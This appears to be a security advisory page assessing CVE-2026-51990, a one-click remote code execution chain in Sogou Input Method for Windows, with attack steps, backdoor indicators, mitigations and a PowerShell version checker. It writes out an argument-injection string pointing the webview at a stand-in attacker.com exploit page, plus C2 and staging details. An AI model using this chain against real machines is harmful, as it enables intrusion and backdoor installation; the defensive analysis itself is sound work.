A six-year-old unlocked car with the keys in the ignition, parked in the busiest lot in China
CVE-2026-51990 is a remote code execution vulnerability in Sogou Input Method for Windows, affecting all versions prior to 16.3.0.3498. The flaw chains three weaknesses: (1) unvalidated argument injection in the sgbiz: custom protocol handler (biz_helper.exe), (2) unrestricted URL navigation in the CEF-based webview (SGMyInput.exe), and (3) a fatally outdated, unsandboxed Chromium 80 engine (from March 2020) with same-origin policy disabled. A single crafted sgbiz: link gives an attacker full code execution on the victim's machine with no interaction beyond the initial click. Sogou commands ~55% of the Chinese IME market with hundreds of millions of installations.
Neither NVD nor Tencent has published a CVSS score. Tencent downplayed the chain as 'relatively complex' requiring 'social engineering to induce the user to actively authorize,' but this characterization is misleading. The exploit requires exactly one click on a link — no dialog authorization, no file download prompt in many configurations. UNC3569, a China-linked hacker-for-hire group tracked by Google Threat Intelligence since 2021, actively exploited this vulnerability in the wild to deploy the GRAYRABBIT backdoor against government, education, technology, and finance targets in East and Southeast Asia. The embedded Chromium 80 carried at least 32 of the 41 V8 vulnerabilities in CISA's KEV catalog — any one of them could serve as the in-browser exploit stage. noisgate assesses this as HIGH, not CRITICAL, because the attack surface is client-side workstations requiring social engineering, not a remotely exploitable server or identity-tier component.
5 steps from start to impact.
Deliver crafted sgbiz: link
sgbiz:sg_process?module=sgmyinput.exe¶m=... via email, chat, or watering hole. The URL encodes a -url parameter pointing to an attacker-controlled page. Windows recognizes sgbiz: as a registered protocol and hands it to biz_helper.exe. Modern browsers may show a single 'Open this application?' prompt, which most users click through.- Victim has Sogou Input Method installed (pre-16.3.0.3498)
- Victim clicks the link
- Browser protocol-handler prompt may cause some users to abort
- Email gateways may strip or warn on non-standard protocol links
Argument injection into biz_helper.exe
biz_helper.exe parses the module parameter (validated against path traversal) but passes the param argument directly to the command line with no validation whatsoever. The attacker injects -page=skincenter -url=https://attacker.com/exploit.html which launches SGMyInput.exe with the attacker-controlled URL as an argument.- biz_helper.exe is running and registered as sgbiz: handler
- None — the argument injection is unconditional in vulnerable versions
CEF webview navigates to attacker page
SGMyInput.exe opens a CEF (Chromium Embedded Framework) webview and navigates to the attacker-supplied URL without checking scheme, domain, or any allowlist. The webview renders the attacker's page in an unsandboxed Chromium 80 process with same-origin policy disabled and file access from files enabled.- SGMyInput.exe launched with attacker-controlled -url parameter
- None — no URL validation exists in vulnerable versions
Browser exploit achieves code execution
JSON.stringify. Because the sandbox is disabled (no_sandbox = TRUE), the exploit immediately yields code execution at the privilege level of the Sogou process — typically the logged-in user — without needing a sandbox escape.- Chromium 80 browser engine is unsandboxed
- At least one of 32+ known V8/Chromium vulns is exploitable
- Exploit must be reliable across Windows versions — but CVE-2021-38003 is well-understood and stable
GRAYRABBIT backdoor deployment
C:\Users\Public\Documents\: legitimate 7z.exe, trojanized 7zp.dll (DLL sideload), and an encrypted payload. The loader performs anti-sandbox checks (process count > 50), decrypts the payload, and loads core.dll (GRAYRABBIT). The backdoor establishes a raw TCP connection on port 443 to mail.uaiubifas[.]top using RC4 encryption with hardcoded key m5b1u3.- Code execution achieved in step 4
- Outbound TCP 443 not blocked to attacker C2
- EDR should flag DLL sideloading from Public\Documents
- Network monitoring may flag raw TCP masquerading as HTTPS on port 443
The supporting signals.
| In-the-Wild Exploitation | CONFIRMED — UNC3569 (China-linked hacker-for-hire group, tracked by Google Threat Intelligence since 2021) actively exploited this flaw to deploy GRAYRABBIT backdoor against government, education, technology, and finance targets in East and Southeast Asia |
|---|---|
| Proof of Concept | Full technical writeup with exploit URL structure published by Alexandru-Cristian Bardaș at Gen Threat Labs on September 11, 2026. The sgbiz: URL construction is trivial; browser exploit stage leverages public CVE-2021-38003 PoCs |
| EPSS | Not yet scored — CVE assigned July 10, 2026; EPSS data pending |
| KEV Status | Not listed as of September 12, 2026, despite confirmed in-the-wild exploitation |
| CVSS Vector | No vendor or NVD score published. noisgate estimated vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H → 8.8 (requires one user click, no privileges, full CIA impact on host) |
| Affected Versions | Sogou Input Method for Windows, all versions prior to 16.3.0.3498 — exact lower bound not disclosed by Tencent |
| Fixed Version | 16.3.0.3498 — deployed April 21, 2026 via auto-update. Fix adds URL allowlisting in biz_helper.exe (HTTPS only, restricted to sogou.com, qq.com, woa.com, sogou domains). Note: CEF sandbox and Chromium version remain unchanged |
| Scanning/Exposure | Client-side software — not directly scannable via Shodan/Censys. Estimated 500M+ installations globally, ~55% Chinese IME market share per Statista 2024 data. Enterprise exposure depends on whether Sogou is permitted in software inventory |
| Disclosure Timeline | April 9, 2026: reported to Tencent → April 10: acknowledged → April 21: patch deployed → May 4: CVE requested → July 10: CVE-2026-51990 assigned → September 11: Gen Threat Labs public disclosure |
| Reporting Researcher | Alexandru-Cristian Bardaș, Threat Analysis Engineer, Gen Threat Labs (Gen Digital) |
noisgate verdict.
Active in-the-wild exploitation by a state-linked APT (UNC3569) deploying a full-featured backdoor is the single most decisive factor — this is not a theoretical chain but a confirmed weapon. The verdict is floored at HIGH by the exploitation evidence but does not reach CRITICAL because the attack surface is client-side workstation software requiring user interaction (social engineering click), not a remotely exploitable server, identity provider, or infrastructure component.
Why this verdict
- Active APT exploitation confirmed: UNC3569 weaponized this chain with a stable V8 exploit (CVE-2021-38003) and deployed GRAYRABBIT, a mature C2 backdoor with reverse shell, file transfer, and plugin loading. This is not a PoC — it is an operational capability.
- Trivial exploitation mechanics: The sgbiz: URL is a one-liner to construct. The Chromium 80 engine carries 32+ KEV-listed vulnerabilities, any of which can substitute as the browser exploit stage. The sandbox is disabled, eliminating the hardest part of browser exploitation.
- Massive installed base: ~500M+ installations worldwide with dominant market share in China. Even a small fraction of enterprise deployments creates significant exposure.
- Role multiplier: Sogou IME is installed on end-user workstations — category (a) low-value role in isolation. However, in government and enterprise environments in East/Southeast Asia, it runs on endpoints that may include privileged admin workstations, developer machines with CI/CD access, and finance department hosts with sensitive data access. The blast radius per compromised host is user-level (not SYSTEM), but the initial access it provides feeds directly into lateral movement chains. This keeps the verdict at HIGH rather than elevating to CRITICAL.
- Incomplete patch: The fix only adds URL allowlisting in biz_helper.exe. The unsandboxed Chromium 80 engine and disabled security controls remain — future bypasses of the allowlist would re-expose the full chain.
Why not higher?
The vulnerability requires social engineering — the victim must click a crafted link. It is client-side workstation software, not a server, identity provider, hypervisor, or network edge device. Code execution runs at user privilege level, not SYSTEM. The blast radius is per-host, not fleet-scale, and there is no direct domain escalation path inherent to the vulnerability itself. These factors collectively prevent a CRITICAL assessment despite the confirmed exploitation.
Why not lower?
Confirmed active exploitation by a state-linked APT with a deployed backdoor immediately rules out MEDIUM or below. The one-click attack with no additional interaction, the trivially constructable exploit URL, the massive installed base, and the availability of 32+ substitute browser exploits in the unsandboxed Chromium 80 engine all reinforce that this is a serious, weaponized threat requiring urgent action.
What to do — in priority order.
- Block or uninstall Sogou Input Method enterprise-wide — If Sogou IME is not a business requirement, remove it from all managed endpoints immediately. Use SCCM, Intune, or your endpoint management platform to enforce removal. This eliminates the attack surface entirely. For a HIGH verdict, deploy within 30 days per noisgate mitigation SLA — but given active exploitation, move faster if your user population includes East/Southeast Asian operations.
- Block sgbiz: protocol handler via registry policy — Deploy a GPO or Intune configuration to delete or disable the
HKCR\sgbizregistry key on all managed Windows endpoints. This breaks the initial entry point of the chain without requiring Sogou removal. Test first — this may break legitimate Sogou skin/plugin functionality. - Push Sogou auto-update and verify version 16.3.0.3498+ — If Sogou must remain installed, verify all instances are updated to 16.3.0.3498 or later. Sogou's auto-updater should have deployed this in April 2026, but enterprise proxy/firewall configurations may block the update channel. Manually verify via file version of
biz_helper.exe. - Add GRAYRABBIT IOCs to EDR and network monitoring — Import SHA-256 hashes (29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63, d7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a), C2 domain mail.uaiubifas[.]top, staging IP 8.218.50[.]207, and exploit domain noht1ng[.]top into your threat intel platform and EDR blocklists immediately.
- Monitor for anomalous SGMyInput.exe child processes — Create EDR detection rules for SGMyInput.exe spawning cmd.exe, powershell.exe, or writing files to C:\Users\Public\Documents\. This detects both known and variant exploitation of the CEF webview.
- Network-level URL filtering on sgbiz: scheme — the protocol is handled locally by Windows before any network request occurs; your web proxy never sees it
- Patching Chromium separately — the Chromium 80 engine is embedded within Sogou's installation and cannot be updated independently; even the vendor patch does not update it
- Windows SmartScreen / Mark-of-the-Web — the exploit chain does not involve file downloads that would trigger SmartScreen; the browser engine executes code in-process
Crowdsourced verification payload.
Run on each Windows endpoint where Sogou may be installed, with standard user privileges. Example: powershell -ExecutionPolicy Bypass -File .\Check-CVE-2026-51990.ps1
# Check-CVE-2026-51990.ps1
# Checks whether Sogou Input Method is installed and vulnerable to CVE-2026-51990
# Requires: standard user privileges
# Output: VULNERABLE / PATCHED / UNKNOWN
$ErrorActionPreference = 'SilentlyContinue'
$patchedVersion = [version]'16.3.0.3498'
$found = $false
$result = 'UNKNOWN'
# Check common Sogou install paths
$searchPaths = @(
"$env:ProgramFiles\SogouInput",
"${env:ProgramFiles(x86)}\SogouInput",
"$env:LOCALAPPDATA\SogouInput",
"$env:APPDATA\SogouInput"
)
foreach ($basePath in $searchPaths) {
if (Test-Path $basePath) {
$bizHelper = Get-ChildItem -Path $basePath -Recurse -Filter 'biz_helper.exe' -ErrorAction SilentlyContinue | Select-Object -First 1
if ($bizHelper) {
$found = $true
$fileVersion = [version]$bizHelper.VersionInfo.FileVersion
Write-Host "Found biz_helper.exe at: $($bizHelper.FullName)"
Write-Host "File version: $fileVersion"
if ($fileVersion -ge $patchedVersion) {
$result = 'PATCHED'
} else {
$result = 'VULNERABLE'
}
break
}
}
}
# Also check registry for sgbiz protocol handler
$sgbizKey = Get-ItemProperty -Path 'Registry::HKEY_CLASSES_ROOT\sgbiz\shell\open\command' -ErrorAction SilentlyContinue
if ($sgbizKey -and -not $found) {
$found = $true
Write-Host "sgbiz: protocol handler registered: $($sgbizKey.'(default)')"
$result = 'VULNERABLE'
Write-Host 'WARNING: sgbiz: handler is registered but biz_helper.exe was not found in standard paths.'
}
if (-not $found) {
Write-Host 'Sogou Input Method does not appear to be installed.'
$result = 'PATCHED'
}
Write-Host "`nRESULT: $result"
if ($result -eq 'VULNERABLE') { exit 1 }
elseif ($result -eq 'PATCHED') { exit 0 }
else { exit 2 }If you remember one thing.
sgbiz: protocol handler, push IOCs to EDR, verify Sogou version) within 30 days — but given confirmed APT exploitation, accelerate to days not weeks if you have affected populations. Import the GRAYRABBIT IOCs immediately regardless. Per the noisgate remediation SLA, ensure all Sogou installations are updated to version 16.3.0.3498+ or removed entirely within 180 days. If Sogou is not a business requirement, uninstall it fleet-wide — the incomplete patch (Chromium 80 remains unsandboxed) means future variants are virtually guaranteed.Sources
- Gen Threat Labs — Gray Rabbits and the Tale of a One-Click Backdoor
- The Hacker News — China-Linked UNC3569 Exploited Sogou Input Method Flaw
- CISA Vulnerability Summary — Week of June 8, 2026
- Statista — China Third-Party Input Method Market Share
- CISA Known Exploited Vulnerabilities Catalog
- NuclearCoffee — UNC3569 Sogou Exploitation Coverage
- GuardianMSSP — UNC3569 Sogou Advisory
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.